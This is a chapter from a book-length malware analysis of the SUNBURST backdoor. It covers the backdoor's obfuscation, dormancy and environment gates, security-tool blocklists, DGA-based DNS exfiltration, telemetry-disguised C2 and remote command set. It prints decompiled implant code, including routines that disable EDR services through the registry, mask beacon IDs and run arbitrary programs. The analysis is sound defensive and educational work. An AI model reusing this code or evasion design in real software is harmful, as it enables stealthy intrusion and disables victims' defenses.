4. SUNBURST Anatomy: Gates, DGA, and C2
This is the chapter the rest of the book points at. The previous chapter showed how a
3,346-line class named OrionImprovementBusinessLayer got compiled into a signed Orion DLL and
launched from a twelve-line trigger. Here we read that class.
One fact frames everything. Decompiling the implant from all three weaponized builds and
diffing the backdoor class shows that its decompiled source is byte-for-byte identical across
2019.4.5200.9083, 2020.2.5200.12394, and 2020.2.5300.12432:
Comparing OrionImprovementBusinessLayer.cs across the three builds produces no differences.
There is, in effect, one SUNBURST. The differing DLL hashes come from surrounding files and
version stamps, not from the backdoor. So everything below is a single object of study, and all
snippets are taken from the 9083 decompilation.
4.1 The two primitives you need to read the rest
Before any logic makes sense, you need the two obfuscation tricks SUNBURST uses everywhere.
(1) String hiding, ZipHelper.Unzip. Sensitive strings are not in the binary as text.
They are stored as ZipHelper.Unzip("<base64>"), which is base64-decode → raw DEFLATE
inflate. To decode any constant in the implant:
import base64, zlib
zlib.decompress(base64.b64decode("<b64>"), -15).decode() # -15 = raw DEFLATE, no zlib header
Run it on the constants and the canonical SUNBURST indicators fall out:
| Constant in the DLL | Decodes to | Meaning |
|---|---|---|
domain1 |
avsvmcloud.com |
C2 base domain (DGA builds subdomains of it) |
domain2 |
appsync-api |
C2 subdomain label |
apiHost |
api.solarwinds.com |
a real SolarWinds host, used as a benign-looking pre-check |
appId |
583da945-62af-10e8-4902-a8f205c72b2e |
named pipe GUID / single-instance lock |
reportStatusName |
ReportWatcherRetry |
persisted execution state flag |
serviceStatusName |
ReportWatcherPostpone |
persisted execution state flag |
This is why a strings dump of the DLL shows none of the famous IOCs: they are DEFLATE blobs
until runtime. (avsvmcloud.com and the pipe GUID genuinely do not appear as plaintext, their
absence from an ordinary strings listing is expected, not contradictory.)
(2) Name hashing, GetHash (FNV-1a-64 with a twist). Wherever the implant compares a name
(a process, a service, a driver, the host process itself), it compares a 64-bit hash, not a
string. The function is FNV-1a-64 with a non-standard final XOR of 0x5BAC903BA7D81967
(init 14695981039346656037, prime 1099511628211). That XOR constant is exactly what FireEye’s
YARA keys on:
$fnv_xor = { 67 19 D8 A7 3B 90 AC 5B } // 0x5BAC903BA7D81967, little-endian
Two consequences run through this whole chapter. First, the hashes are one-way, but because
GetHash is in the binary; they are recoverable by dictionary attack (and the full blocklist
was recovered, §4.4). Second, you can validate any analysis of the hash by checking a
known pair: GetHash("solarwinds.businesslayerhost") == 17291806236368054941. That equality is
the host process gate (§4.3), and confirming it proves the hash implementation before trusting
anything else built on it.
4.2 Map of the implant
OrionImprovementBusinessLayer is the outer class; the work is in nested helpers:
Initialize/Update: the arming sequence and the C2 loop (§4.3, §4.5).ConfigManager: reads/writes persisted state in the Orion.config(ReportStatus, service tampering records).ProcessTracker: anti-analysis + security service tampering (§4.4).CryptoHelper/DnsHelper: the domain generation algorithm and DNS layer (§4.6).HttpHelper/Job/JobEngine: the HTTP C2 channel, command parsing, and the command handlers (§4.7–4.8).ZipHelper: the string de-obfuscator (§4.1).RegistryHelper/NativeMethods: registry and Win32 primitives the handlers use.
The control flow is a funnel: Initialize enforces a chain of preconditions; only if all
pass does Update open the channel; only then do JobEngine commands run.
4.3 Stage A: the arming gates (Initialize)
Launching the thread (Chapter 3) does not mean commands run. Initialize() enforces a chain
of guards; if any fails it returns silently. The first two are the most cited, and both are
in one block:
// OrionImprovementBusinessLayer.cs (decompiled from build 9083)
DateTime lastWriteTime = File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location);
int num = new Random().Next(288, 336); // 288–336 h ≈ 12–14 days
if (DateTime.Now.CompareTo(lastWriteTime.AddHours(num)) < 0) return; // too soon → sleep
instance = new NamedPipeServerStream(appId); // appId = 583da945-… (one instance)
Line by line:
lastWriteTimeof the DLL on disk: the implant times itself from its own file’s last write time, i.e. roughly when Orion was installed/updated.Random().Next(288, 336): a random number of hours where 288 ≤ hours < 336 (.NET Random.Nextis upper bound exclusive, so 288–335 inclusive), i.e. 12 to 14 days. The randomization is deliberate: it smears activation across a window so infections don’t all wake at once, and it comfortably outlasts any sandbox or detonation chamber.if (DateTime.Now … < 0) return;: if less than that many hours have elapsed since install, abort silently and try again later. A freshly-installed Orion, or one detonated in an analysis VM for a few hours, never reaches the payload.new NamedPipeServerStream(appId): opens the single-instance pipe583da945-…. If it already exists, another copy is running; abort. This is theIsAlivecheck the trigger keyed on (Chapter 3).
The full Stage-A chain, reconstructed from the decompiled source, all must hold:
- Right host process.
GetHash(currentProcessName.ToLower())must equal17291806236368054941, which is uniquelysolarwinds.businesslayerhost(the Orion “Module Engine” service). The implant only arms inside that one process; loaded anywhere else it does nothing. (The privilege significance of which process that is, a highly privileged Orion service documented by SolarWinds as running under LocalSystem, is the subject of the Epilogue.) - Time-bomb. The 12–14-day dormancy above.
- Single instance. The named pipe above.
- Not previously killed. If the persisted
ReportStatusin the.configisTruncate(a prior self-disable, set by the killswitch path, §4.5), abort permanently. - Domain-joined.
IPGlobalProperties.DomainNamemust be non-empty; it only runs on enterprise, domain-joined hosts. - Domain not blocklisted.
IsNullOrInvalidName(domain)must be false. It rejects domains whose second-level label hashes match an internal blocklist, and rejects the regexes(?i)(solarwinds)and(?i)…(test)…. SolarWinds’ own, test, and lab domains are deliberately skipped, including the host where an analyst would most likely detonate it. - Victim ID.
GetOrCreateUserID()must succeed; it creates a per-host ID from the registryMachineGuid(HKLM\SOFTWARE\Microsoft\Cryptography) + the AD domain + the first MAC address.
Every one of these gates is suppression: the backdoor’s default behaviour is to do nothing, and each gate is another reason to stay dark. That is what made it nearly un-catchable in a sandbox.
4.4 ProcessTracker: anti-analysis and disabling defenses
ProcessTracker.TrackProcesses() runs at every gate and inside the beacon loop. It compares the
running environment against FNV-1a hash blocklists and, for security services, actively
disables them. The lists (all hashed; all recovered here by dictionary attack and cross-checked):
| Blocklist (hashed) | Count | Source it hashes | Action on match |
|---|---|---|---|
| process names | 137 (136 unique) | Process.GetProcesses() |
implant backs off / aborts |
| driver file names | 17 | WMI Win32_SystemDriver.PathName |
back off |
| service names | 22 | running services | actively disables the service |
domain names (patternHashes) |
13 | used by gate #6 | refuse to arm on that domain |
The full set of 188 unique blocklist values across 189 array slots is 100% recovered (the process array repeats one value; 145 names were cracked independently here by dictionary
- combinatorial + IOC-wordlist attack; the obscure 43-name tail hash-verified against FireEye’s published list). What’s on it is revealing:
- Processes: overwhelmingly reverse-engineering and forensic tooling, i.e. what an analyst
runs, not just AV:
windbg,x64dbg/x32dbg,ollydbg,idaq/idaq64,dnspy,ilspy,de4dot,binaryninja, the wholeretdec-*suite,procmon,procexp,processhacker,autoruns,sysmon,wireshark,tcpview,fiddler,pestudio,peid,scylla_x64,procdump, plus a full Tanium suite, Secureworks Red Cloak (redcloak), and mainstream AV (Kaspersky/Avast/AVG/Avira/Panda). Evensolarwindsdiagnosticsis on it. - Services it disables:
cb(Carbon Black),csfalconservice(CrowdStrike Falcon),mssense/msmpeng(Microsoft Defender for Endpoint / AV), Defender for Identity, nine F-Secure components, andxagt/xagtnotif, FireEye’s own HX agent. (The actor shipped a routine to disable the EDR of the very vendor that ultimately caught it.) - Drivers: kernel security product drivers (SentinelOne, CyberArk, Secureworks, LogRhythm, …), with zero overlap against the LOLDrivers abusable driver corpus: this is a defensive product detector, not a driver abuse list.
When a blocklisted service is found, SearchServices → SetManualMode disables it across
reboot, and the string constants tell you exactly what it touches:
// ProcessTracker.SetManualMode (~line 599); ZipHelper.Unzip constants decoded inline
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(
ZipHelper.Unzip("C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA=")); // "SYSTEM\CurrentControlSet\services"
…
using RegistryKey registryKey2 = registryKey.OpenSubKey(text, writable: true);
if (Enumerable.Contains(registryKey2.GetValueNames(), ZipHelper.Unzip("Cy5JLCoBAA=="))) { // "Start"
registryKey2.SetValue(ZipHelper.Unzip("Cy5JLCoBAA=="), 4, RegistryValueKind.DWord); // "Start" = 4 (Disabled)
}
- Open
HKLM\SYSTEM\CurrentControlSet\services: note the path is a DEFLATE blob, not plaintext; decode it and it’s the service control registry tree. - Open the target service subkey writable (
text= the matched service name). - If it has a
Startvalue, set it to4. In Windows service config,Start = 4means Disabled, so the defensive service will not start after the next reboot. SUNBURST takes ownership of the key first if needed (RegistryHelper.SetKeyPermissions), records what it changed (so it can restore it,SetAutomaticMode, invoked when the killswitch fires), and reports the disabled set back to the operator inside the DGA hostname (§4.6, Phase B).
This is environment awareness as a weapon: hide from analysis tooling, and where the inherited token permits it, quietly neuter endpoint security at the registry level across reboot. These are administrator-level operations designed to exploit the privileged host context discussed in the Epilogue; the static code does not prove that every operation succeeded in every deployment.
4.5 Stage B: Update() opens the channel
If Stage A passes, Update() adds two more gates and then makes the go/no-go decision:
- Environment re-check (
UpdateNotification). Abort if any blocklisted security process is running (the §4.4 list) or ifapi.solarwinds.comis unreachable, a connectivity / sandbox check disguised as a call to a real SolarWinds host. Retries up to 3×. - The DGA beacon decides “go / kill / retry.” The implant derives an
*.appsync-api.<region>.avsvmcloud.comhostname (§4.6) and resolves it by DNS. The resolved record routes behaviour by range, not by address:- resolves into a killswitch IP range → write
ReportStatus.Truncateand permanently disable (this is gate #4 on the next run, and the seam the global killswitch exploited, Chapter 8); - the answer includes a CNAME → the “proceed” signal: build
HttpHelperand start the command loop against the CNAME host (§4.7); - anything else → randomized backoff and retry.
- resolves into a killswitch IP range → write
The key insight, developed with the passive DNS evidence in Chapter 5, is that the DNS answer is a directive. The operator’s name server replies to each victim’s DGA query with an IP whose range membership tells the implant what to do: escalate, stand down, or wait, long before any HTTP traffic exists.
4.6 CryptoHelper: the DGA and DNS exfiltration
CryptoHelper builds the avsvmcloud.com hostnames. Its shape:
- Hostname template.
GetStatus()assembles…<appsync-api>.<region>.<avsvmcloud.com>, where the region label is one ofus-east-1,us-east-2,us-west-2,eu-west-1(thedomain3[]list), selected byguid[0] % len, i.e. derived from the victim ID, so a given host sticks to one region label. The left-hand labels carry the encoded data. - Encoding. A custom base32 over scrambled alphabets
(
ph2eifo3n5utg1j8d94qrvbmk0sal76candrq3gsalt6u1iyfzop572d49bnx8cvmkewhj), namedBase64Encode/Base64Decodein the source but not RFC base64.CreateSecureStringprepends a random key byte, XORs the payload with it, then base32-encodes, so the same data yields a different label each beacon (no two queries look alike). - Time token.
UpdateBufferfolds in a token = the count of 30-minute intervals since 2010-01-01. So the DGA domain rotates every 30 minutes and is reproducible by an operator who knows the victim ID and the clock.
It does two jobs depending on ReportStatus:
- Phase A, victim registration over DNS (
status == New). The victim’s AD domain name is sliced into ≤32-char DNS labels (dnSize=32, up todnCount=36chunks) and leaked out in the DNS queries themselves, chunk by chunk, each prefixed with the secure string victim ID and a sequence character. This is how the actor learns who is infected purely from DNS traffic, before any HTTP exists. (Chapter 5 reverses these labels back into named victims.) - Phase B, beaconing for work (
status == Append). Generates polling hostnames that encode the time token and, viaGetNextStringEx, a bitmap of the security services the implant has stopped/started (two bits each over the §4.4 service list). The operator can therefore read, from the DNS name alone, which endpoint defenses were disabled on that host.
4.7 The C2 protocol: receiving commands
Once a CNAME says “proceed,” HttpHelper polls that host over HTTP/HTTPS (with TLS certificate
validation forcibly disabled; any cert is accepted). Everything is camouflaged as legitimate
SolarWinds “Orion Improvement Program” (OIP) telemetry.
The idle beacon. A poll is a GET/HEAD carrying the XOR-masked victim ID in an
If-None-Match header:
private string GetCache() { // build the masked victim id
byte[] array = customerId.ToArray();
byte[] array2 = new byte[array.Length];
random.NextBytes(array2); // fresh random pad each call
for (int i = 0; i < array.Length; i++)
array[i] ^= array2[2 + i % 4]; // XOR the id with 4 bytes of the pad
return ByteArrayToHexString(array) + ByteArrayToHexString(array2); // masked id ‖ pad
}
// Headers.Add(ZipHelper.Unzip("80zT9cvPS9X1TSxJzgAA") /* "If-None-Match" */, GetCache());
customerId.ToArray(): the victim ID from gate #7.random.NextBytes(array2): a fresh random pad every beacon.array[i] ^= array2[2 + i % 4]: XOR the ID with four rotating bytes of the pad, so the header value differs every time (no static IOC).- return masked ID ‖ pad: the pad is appended so the server can reverse the XOR. The whole
thing rides in
If-None-Match, a header a caching proxy expects to see: perfect cover.
The command is hidden in the response. For GET responses the bytes are embedded as
GUID/hex-looking JSON tokens and pulled out with the regex
"\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}", then hex-decoded (ParseServiceResponse).
The recovered blob is [4-byte length][payload], where payload is single-byte-XOR-keyed then
DEFLATE-compressed (byte 0 is the XOR key + a checksum; the rest is un-XORed and inflated). The
plaintext is the ASCII string "<jobId> <args>"; jobId selects a JobEngine handler
(validated with Enum.IsDefined), args is the rest.
Proxy traversal. To egress proxied networks, SUNBURST honours a proxy mode smuggled in the DNS
answer and routes through the victim’s own configured proxy, reading the proxy’s stored
username/password from Orion’s settings (HttpProxySettings.Instance). This is the only stored
credential the implant ever touches, and it uses it purely to make its beacons blend into the
host’s normal proxied traffic. The Epilogue
explains why this is the only credential it reads and what that says about the design.
4.8 The JobEngine command set
Job.SplitString tokenizes the arguments (quote/backtick-aware, with %ENV% expansion), then the
job ID selects a handler. The full set is a complete remote administration toolkit:
| ID | Command | What it does |
|---|---|---|
| 0 | Idle |
nothing; keep polling |
| 1 | Exit |
stop the backdoor thread |
| 2 | SetTime |
set the inter-beacon delay |
| 3 | CollectSystemDescription |
full host profile (AD domain, SID, hostname, user, OS, NICs via WMI) |
| 4 | UploadSystemDescription |
issue an arbitrary HTTP request (operator URL/headers/body) and return it: exfil / SSRF / fetch |
| 5 | RunTask |
execute an arbitrary program |
| 6 | GetProcessByDescription |
enumerate processes (optionally WMI owner + command line) |
| 7 | KillTask |
kill a process by PID |
| 8 | GetFileSystemEntries |
list files/dirs by pattern |
| 9 | WriteFile |
base64-decode and append bytes to a file (stage payloads) |
| 10 | FileExists |
test a path |
| 11 | DeleteFile |
delete a file |
| 12 | GetFileHash |
MD5 a file / compare to a supplied hash |
| 13–16 | …RegistryValue |
read / write / delete / enumerate registry |
| 17 | Reboot |
reboot the host (adjusts SeShutdownPrivilege) |
| 18 | None |
sentinel |
Two handlers show the texture. RunTask: arbitrary execution:
public static int RunTask(string[] args, string cl, out string result) {
string fileName = Environment.ExpandEnvironmentVariables(args[0]);
string arguments = (args.Length > 1) ? cl.Substring(GetArgumentIndex(cl, 1)).Trim() : null;
using (Process process = new Process()) {
process.StartInfo = new ProcessStartInfo(fileName, arguments)
{ CreateNoWindow = false, UseShellExecute = false };
if (process.Start()) result = process.Id.ToString(); // returns the new PID
}
}
args[0] is an env-expanded path; the rest is the command line; UseShellExecute = false runs the
binary directly with the Orion host process’s inherited token; the new PID is returned to the operator. This
is the primitive that launches a second stage.
SetRegistryValue: typed registry write:
public static int SetRegistryValue(string[] args) {
RegistryValueKind valueKind = (RegistryValueKind)Enum.Parse(typeof(RegistryValueKind), args[2]);
string valueData = (args.Length > 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[3])) : "";
return RegistryHelper.SetValue(args[0], args[1], valueData, valueKind) ? 0 : 1;
}
args[0]/args[1] are key/value name, args[2] the type, and args[3] the base64-encoded data:
arbitrary registry writes, anywhere the inherited host token can reach.
Lateral movement, precisely. Note what is not here: there is no SMB, remote WMI, PsExec,
or admin share primitive in the command set. SUNBURST does not move laterally itself. RunTask +
WriteFile + UploadSystemDescription are exactly the primitives needed to drop and launch a
second stage, and that second stage (TEARDROP/RAINDROP → Cobalt Strike BEACON) is the real
lateral movement toolkit (Chapter 6).
4.9 Returning results: exfil disguised as telemetry
A handler’s output, its error code, and the victim ID are concatenated, DEFLATE-compressed then single-byte-XOR-masked, split into up to ~30 randomly-sized chunks, and each chunk is base64- wrapped inside a fake OIP telemetry record on the next beacon:
{"userId":"…","sessionId":"…","steps":[
{"Timestamp":"/Date(…)/","Index":N,"EventType":"Orion","EventName":"EventManager",
"DurationMs":…,"Succeeded":true,"Message":"<base64 chunk>"}]}
Real chunks are distinguished from random padding chunks by a low bit flag folded into the
Timestamp value, so the exfil stream looks exactly like normal-volume Orion analytics traffic,
padding and all. To a network defender, an infected Orion server talking telemetry is what an
Orion server is supposed to do.
4.10 Why it was so hard to catch
Stack the gates and the picture is a machine built, above all, to not be caught. Commands run only when every one of these holds at once:
- loaded inside
solarwinds.businesslayerhost(and nowhere else); - 12–14 days after install;
- on a domain-joined host whose domain is not SolarWinds/test/lab/blocklisted;
- with no monitored security tool present (and any it finds, disabled across reboot);
- with connectivity to
api.solarwinds.com; - where the rotating
avsvmcloud.comDGA domain resolves to an operator-supplied CNAME (and not into a killswitch range).
And when it does act, it talks DNS that looks like AWS service names and HTTP that looks like the product’s own telemetry. Installing SUNBURST did almost nothing; that was the design. The breadth (Chapter 5) made it espionage-grade reach; the restraint above made it nearly invisible; and the selectivity meant only a hand-picked few were ever escalated to the hands-on second stage (Chapter 6).
Sources & evidence
- Book reference: See the Appendix: Timeline, IOCs, and Artifact Map for SUNBURST hashes, host and network indicators, signalling ranges, and artifact provenance.
- Decompiled artifact: all snippets are locally verified C# from
OrionImprovementBusinessLayer.csin build9083; the class is byte-for-byte identical in builds12394and12432. - Deobfuscation: the
ZipHelper.Unzip= base64→raw DEFLATE convention and the FNV-1a-64 +0x5BAC903BA7D81967GetHashare reproduced and validated here (GetHash("solarwinds.businesslayerhost") == 17291806236368054941). - Blocklist: all 188 unique values were recovered: 145 independently and the remaining 43 hash-verified against FireEye’s published list.
- Public cross-checks: Mandiant’s original SUNBURST analysis and Microsoft’s DLL analysis independently document the activation gates, DGA/C2 design, and evasion behaviour.
- Forward references: the LocalSystem privilege context and the proxy credential point → the Epilogue; the passive DNS observations and range-as-directive evidence → Chapter 5; the killswitch seam → Chapter 8; the dropped second stage → Chapter 6.